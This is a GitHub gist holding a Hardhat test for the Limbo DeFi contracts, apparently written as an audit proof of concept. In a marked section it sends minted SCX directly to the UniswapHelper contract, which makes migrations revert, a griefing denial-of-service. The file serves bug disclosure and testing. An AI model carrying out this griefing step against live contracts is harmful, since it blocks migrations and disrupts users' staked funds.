Skip to content

Instantly share code, notes, and snippets.

@CamdenClark
Created January 29, 2022 04:23
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save CamdenClark/b6841ac7a63e868d90eff7d9a40e3e0a to your computer and use it in GitHub Desktop.
Save CamdenClark/b6841ac7a63e868d90eff7d9a40e3e0a to your computer and use it in GitHub Desktop.
UniswapHelper Grief Attack
const { expect, assert } = require("chai");
const { ethers, network } = require("hardhat");
const web3 = require("web3");
describe("Limbo", function () {
let owner, secondPerson, feeSetter, dai, eye, link, sushi;
let daiEYESLP, linkEYESLP, sushiEYESLP, daiSushiSLP;
let daiEYEULP, linkEYEULP, sushiEYEULP, daiSushiULP;
let dao, proposalFactory, updateProposalConfigProposal;
let toggleWhiteList;
const zero = "0x0000000000000000000000000000000000000000";
beforeEach(async function () {
[owner, secondPerson, proposalFactory] = await ethers.getSigners();
const MockAngband = await ethers.getContractFactory("MockAngband");
this.mockAngband = await MockAngband.deploy();
const addTokenPowerFactory = await ethers.getContractFactory("MockAddTokenPower");
this.addTokenPower = await addTokenPowerFactory.deploy();
const MockBehodlerFactory = await ethers.getContractFactory("MockBehodler");
this.mockBehodler = await MockBehodlerFactory.deploy("Scarcity", "SCX", this.addTokenPower.address);
const TransferHelperFactory = await ethers.getContractFactory("TransferHelper");
const LimboDAOFactory = await ethers.getContractFactory("LimboDAO", {
libraries: {
TransferHelper: (await TransferHelperFactory.deploy()).address,
},
});
this.limboDAO = await LimboDAOFactory.deploy();
this.TokenFactory = await ethers.getContractFactory("MockToken");
this.eye = await this.TokenFactory.deploy("eye", "eye", [], []);
this.aave = await this.TokenFactory.deploy("aave", "aave", [], []);
this.dai = await this.TokenFactory.deploy("DAI", "DAI", [], []);
await this.dai.mint("600000000");
await this.dai.transfer(this.mockBehodler.address, "600000000");
const flashGovernanceFactory = await ethers.getContractFactory("FlashGovernanceArbiter");
this.flashGovernance = await flashGovernanceFactory.deploy(this.limboDAO.address);
await this.flashGovernance.configureSecurityParameters(10, 100, 30);
// await this.eye.approve(this.limbo.address, 2000);
await this.flashGovernance.configureFlashGovernance(this.eye.address, 1000, 10, true);
const FlanFactory = await ethers.getContractFactory("Flan");
this.flan = await FlanFactory.deploy(this.limboDAO.address);
const SoulLib = await ethers.getContractFactory("SoulLib");
const CrossingLib = await ethers.getContractFactory("CrossingLib");
const MigrationLib = await ethers.getContractFactory("MigrationLib");
const LimboFactory = await ethers.getContractFactory("Limbo", {
libraries: {
SoulLib: (await SoulLib.deploy()).address,
CrossingLib: (await CrossingLib.deploy()).address,
MigrationLib: (await MigrationLib.deploy()).address,
},
});
this.limbo = await LimboFactory.deploy(
this.flan.address,
// 10000000,
this.limboDAO.address
);
await this.flan.whiteListMinting(this.limbo.address, true);
await this.flan.whiteListMinting(owner.address, true);
// await this.flan.endConfiguration();
await this.addTokenPower.seed(this.mockBehodler.address, this.limbo.address);
const UniswapFactoryFactory = await ethers.getContractFactory("UniswapFactory");
const sushiSwapFactory = await UniswapFactoryFactory.deploy();
const uniswapFactory = await UniswapFactoryFactory.deploy();
const firstProposalFactory = await ethers.getContractFactory("ToggleWhitelistProposalProposal");
this.whiteListingProposal = await firstProposalFactory.deploy(this.limboDAO.address, "toggle whitelist");
const morgothTokenApproverFactory = await ethers.getContractFactory("MockMorgothTokenApprover");
this.morgothTokenApprover = await morgothTokenApproverFactory.deploy();
const soulUpdateProposalFactory = await ethers.getContractFactory("UpdateSoulConfigProposal");
this.soulUpdateProposal = await soulUpdateProposalFactory.deploy(
this.limboDAO.address,
"hello",
this.limbo.address,
this.morgothTokenApprover.address
);
// const flanSCXPair = await sushiSwapFactory.
this.ProposalFactoryFactory = await ethers.getContractFactory("ProposalFactory");
this.proposalFactory = await this.ProposalFactoryFactory.deploy(
this.limboDAO.address,
this.whiteListingProposal.address,
this.soulUpdateProposal.address
);
await this.limboDAO.seed(
this.limbo.address,
this.flan.address,
this.eye.address,
this.proposalFactory.address,
sushiSwapFactory.address,
uniswapFactory.address,
this.flashGovernance.address,
9,
[],
[]
);
await this.limbo.setDAO(this.limboDAO.address);
await this.limboDAO.makeLive();
const SoulReaderFactory = await ethers.getContractFactory("SoulReader");
this.soulReader = await SoulReaderFactory.deploy();
const UniswapHelperFactory = await ethers.getContractFactory("UniswapHelper");
this.uniswapHelper = await UniswapHelperFactory.deploy(this.limbo.address, this.limboDAO.address);
await this.flan.whiteListMinting(this.uniswapHelper.address, true);
const migrationTokenPairFactory = await ethers.getContractFactory("MockMigrationUniPair");
this.migrationTokenPair = await migrationTokenPairFactory.deploy("uni", "uni");
await this.migrationTokenPair.setReserves(1000, 3000);
await this.uniswapHelper.configure(
this.limbo.address,
this.migrationTokenPair.address,
this.mockBehodler.address,
this.flan.address,
110,
32,
20,
0
);
await this.uniswapHelper.setDAI(this.dai.address);
await this.limbo.configureCrossingParameters(this.aave.address, 1, 1, true, 10000010);
await this.limbo.configureCrossingConfig(
this.mockBehodler.address,
this.mockAngband.address,
this.uniswapHelper.address,
this.addTokenPower.address,
10000000,
10000,
100
);
toggleWhiteList = toggleWhiteListFactory(this.eye, this.limboDAO, this.whiteListingProposal, this.proposalFactory);
const TokenProxyRegistry = await ethers.getContractFactory("TokenProxyRegistry");
this.registry = await TokenProxyRegistry.deploy(this.limboDAO.address);
});
const advanceTime = async (seconds) => {
await network.provider.send("evm_increaseTime", [seconds]); //6 hours
await network.provider.send("evm_mine");
};
const advanceBlocks = async (blocks) => {
for (let i = 0; i < blocks; i++) {
await network.provider.send("evm_mine");
}
};
const stringifyBigNumber = (b) => b.map((i) => i.toString());
var toggleWhiteListFactory = (eye, dao, whiteListingProposal, proposalFactory) => {
return async function (contractToToggle) {
await whiteListingProposal.parameterize(proposalFactory.address, contractToToggle);
const requiredFateToLodge = (await dao.proposalConfig())[1];
await eye.mint(requiredFateToLodge);
await eye.approve(dao.address, requiredFateToLodge.mul(2));
await dao.burnAsset(eye.address, requiredFateToLodge.div(5).add(10));
await proposalFactory.lodgeProposal(whiteListingProposal.address);
await dao.vote(whiteListingProposal.address, "100");
await advanceTime(100000000);
await dao.executeCurrentProposal();
};
};
it("Manually sending SCX to Uniswap helper causes migrations to revert", async function () {
const proxyFactory = await ethers.getContractFactory("TokenProxy");
const proxy = await proxyFactory.deploy("Hello", "there", this.aave.address);
await this.registry.setProxy(this.aave.address, proxy.address, false);
const aaveBalance = await this.aave.balanceOf(owner.address);
console.log("aave balance" + aaveBalance);
await this.aave.approve(proxy.address, "100000000000000000000");
await proxy.mint(owner.address, "100000000000000000000");
const AddressBalanceCheckLib = await ethers.getContractFactory("AddressBalanceCheck");
const addressBalanceCheckLibAddress = (await AddressBalanceCheckLib.deploy()).address;
const RealBehodlerFactory = await ethers.getContractFactory("BehodlerLite", {
libraries: {
AddressBalanceCheck: addressBalanceCheckLibAddress,
},
});
const realBehodler = await RealBehodlerFactory.deploy();
await realBehodler.configureScarcity(15, 5, owner.address);
const RealAngband = await ethers.getContractFactory("AngbandLite");
const realAngband = await RealAngband.deploy();
const RealPower = await ethers.getContractFactory("LimboAddTokenToBehodler");
const realPower = await RealPower.deploy(
realAngband.address,
this.limbo.address,
realBehodler.address,
this.registry.address
);
const RealUniswapFactoryFactory = await ethers.getContractFactory("RealUniswapV2Factory");
const RealUniswapPairFactory = await ethers.getContractFactory("RealUniswapV2Pair");
const realUniswapFactory = await RealUniswapFactoryFactory.deploy(owner.address);
await realUniswapFactory.createPair(realBehodler.address, this.flan.address);
const pairAddress = await realUniswapFactory.getPair(this.flan.address, realBehodler.address);
const scxFlanPair = await RealUniswapPairFactory.attach(pairAddress);
await this.dai.mint("1400000000000000010100550");
await this.dai.approve(realBehodler.address, "140000000000000001010055");
await realBehodler.addLiquidity(this.dai.address, "14000000000000001010055");
const scxBalanceGenerated = await realBehodler.balanceOf(owner.address);
await realBehodler.transfer(scxFlanPair.address, scxBalanceGenerated);
await this.flan.mint(pairAddress, "300000000000000000000000");
await scxFlanPair.mint(owner.address);
await this.limbo.configureCrossingConfig(
realBehodler.address,
realAngband.address,
this.uniswapHelper.address,
realPower.address,
6756,
1000,
// 20,
// 105,
111
);
await this.uniswapHelper.configure(
this.limbo.address,
pairAddress,
realBehodler.address,
this.flan.address,
200,
105,
20,
0
);
await this.uniswapHelper.setDAI(this.dai.address);
await this.limbo.configureSoul(
proxy.address,
100, //crossingThreshold
1, //soulType
1, //state
0,
10000000
);
//stake tokens
await proxy.approve(this.limbo.address, "100000000000000000000001");
await this.limbo.stake(proxy.address, "100000000000000000000");
//assert state is now waitingToCross
const currentSoul = await this.limbo.souls(proxy.address, 0);
expect(currentSoul[4]).to.equal(2);
const requiredDelayBetweenEndOfStakingAndMigrate = (await this.limbo.crossingConfig())[3].toNumber();
await advanceTime(requiredDelayBetweenEndOfStakingAndMigrate + 1);
await this.uniswapHelper.generateFLNQuote();
const minQuoteWaitDuration = 105;
await advanceBlocks(minQuoteWaitDuration + 1);
await this.uniswapHelper.generateFLNQuote();
const scxBalanceOfPairBefore = await realBehodler.balanceOf(pairAddress);
const blackHoleAddress = await this.uniswapHelper.blackHole();
const blackHoleBalanceBefore = await scxFlanPair.balanceOf(blackHoleAddress);
const flanPairBalanceBefore = await this.flan.balanceOf(pairAddress);
expect(scxBalanceOfPairBefore).to.equal("609176545126652594565");
expect(flanPairBalanceBefore).to.equal("300000000000000000000000");
/* *******
START OF MY CHANGES TO DEMONSTRATE ATTACK
*******
*/
const amount = "14000000000"
await this.dai.mint(amount);
await this.dai.approve(realBehodler.address, amount);
await realBehodler.addLiquidity(this.dai.address, amount);
const scxBalanceGeneratedAttack = await realBehodler.balanceOf(owner.address);
await realBehodler.transfer(this.uniswapHelper.address, scxBalanceGeneratedAttack);
/* *******
END OF MY CHANGES TO DEMONSTRATE ATTACK
*******
*/
// Reverts with code "EM"
await this.limbo.migrate(proxy.address);
const balanceOfProxyOnBehodler = (await proxy.balanceOf(realBehodler.address)).toString();
expect(balanceOfProxyOnBehodler).to.not.equal("0");
const aaveBalanceOnBehodler = await this.aave.balanceOf(realBehodler.address);
expect(aaveBalanceOnBehodler).to.equal("0");
});
});
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment